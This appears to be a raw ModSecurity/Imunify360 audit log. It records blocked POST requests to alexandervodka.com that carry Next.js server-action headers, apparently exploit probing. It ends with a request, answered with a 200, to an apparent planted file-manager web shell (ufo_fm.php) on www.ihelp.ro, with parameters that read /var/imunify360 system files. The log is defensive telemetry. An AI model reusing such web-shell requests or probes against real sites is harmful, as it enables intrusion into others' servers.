Accept: text/x-component
Accept-Encoding: identity
Next-Action: b179bc76d624136250d5530bd87d35383e651c34
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com/
Content-Type: multipart/form-data; boundary=geckopartd8b0cb700ae3d360951187f97686e730
--a8ea6c22-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a8ea6c22-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314233691950 96381 (- - -)
Stopwatch2: 1789314233691950 96381; combined=4209, p1=259, p2=3691, p3=0, p4=0, p5=258, sr=80, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a8ea6c22-Z--
--083fc41f-A--
[13/Sep/2026:18:43:54.128956 +0300] aqbEuvut1GUrjaX0wO46QwAAAMs 138.197.17.142 34614 127.0.0.1 7081
--083fc41f-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 14430
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: e45d139d0328eab0f095dee678b7cdfc9bc6eef0
content-type: multipart/form-data; boundary=geckopart4cdcafb7d1198ac1cac8061fc1e760b4
content-encoding:
--083fc41f-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--083fc41f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234045860 83214 (- - -)
Stopwatch2: 1789314234045860 83214; combined=8428, p1=363, p2=7611, p3=0, p4=0, p5=453, sr=131, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--083fc41f-Z--
--cef6ca57-A--
[13/Sep/2026:18:43:54.357749 +0300] aqbEuvut1GUrjaX0wO46RAAAAMw 138.197.17.142 34630 127.0.0.1 7081
--cef6ca57-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 3182
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
content-type: multipart/form-data; boundary=geckopart87541b5dae48552ef13c1535db8e7d5c
--cef6ca57-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cef6ca57-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234290093 67739 (- - -)
Stopwatch2: 1789314234290093 67739; combined=5460, p1=289, p2=4883, p3=0, p4=0, p5=287, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cef6ca57-Z--
--5c949e02-A--
[13/Sep/2026:18:43:54.561242 +0300] aqbEuvut1GUrjaX0wO46RQAAANE 138.197.17.142 34644 127.0.0.1 7081
--5c949e02-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 3419
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
content-type: multipart/form-data; boundary=geckoparteee6399a8a93f73cba23d577e99ba60d
--5c949e02-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5c949e02-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234496055 65263 (- - -)
Stopwatch2: 1789314234496055 65263; combined=4818, p1=326, p2=4204, p3=0, p4=0, p5=287, sr=170, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5c949e02-Z--
--47c29540-A--
[13/Sep/2026:18:43:54.768091 +0300] aqbEukhjHs68UzErry1LFAAAAI4 138.197.17.142 34650 127.0.0.1 7081
--47c29540-B--
POST / HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 138.197.17.142
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 2886
sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
sec-fetch-dest: empty
sec-fetch-mode: cors
sec-fetch-site: same-origin
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
accept-encoding: gzip, deflate, br, zstd
accept-language: en-US;q=1.0, en;q=0.9
priority: u=0, i
referer: https://alexandervodka.com/
next-action: 0cc0966d12ecb32df693abce42e7e82bf9681b70
content-type: multipart/form-data; boundary=boundaryec637ff4847ea8b24acfa84ce2165b12
--47c29540-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--47c29540-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314234691082 77093 (- - -)
Stopwatch2: 1789314234691082 77093; combined=7359, p1=252, p2=6789, p3=0, p4=0, p5=318, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--47c29540-Z--
--9eca1a6a-A--
[13/Sep/2026:18:51:10.932745 +0300] aqbGbhsbgHO3aGL3jiTxCQAAAA4 216.73.216.20 41328 127.0.0.1 7081
--9eca1a6a-B--
GET /img/ufo_fm.php?f=%2Fvar%2Fimunify360%2Fiaid&p=%2Fvar%2Fimunify360 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.20
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate
--9eca1a6a-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--9eca1a6a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:f=/var/imunify360/iaid&p=/var/imunify360& P: F:||T:APACHE||R:200"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3643, p1=263, p2=3380, p3=0, p4=0, p5=0, sr=84, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3643, p1=263, p2=3380, p3=0, p4=0, p5=0, sr=84, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "www.ihelp.ro"] [uri "/webroot/img/ufo_fm.php"] [unique_id "aqbGbhsbgHO3aGL3jiTxCQAAAA4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314670911316 21479 (- - -)
Stopwatch2: 1789314670911316 21479; combined=14317, p1=263, p2=3380, p3=0, p4=0, p5=10674, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--9eca1a6a-Z--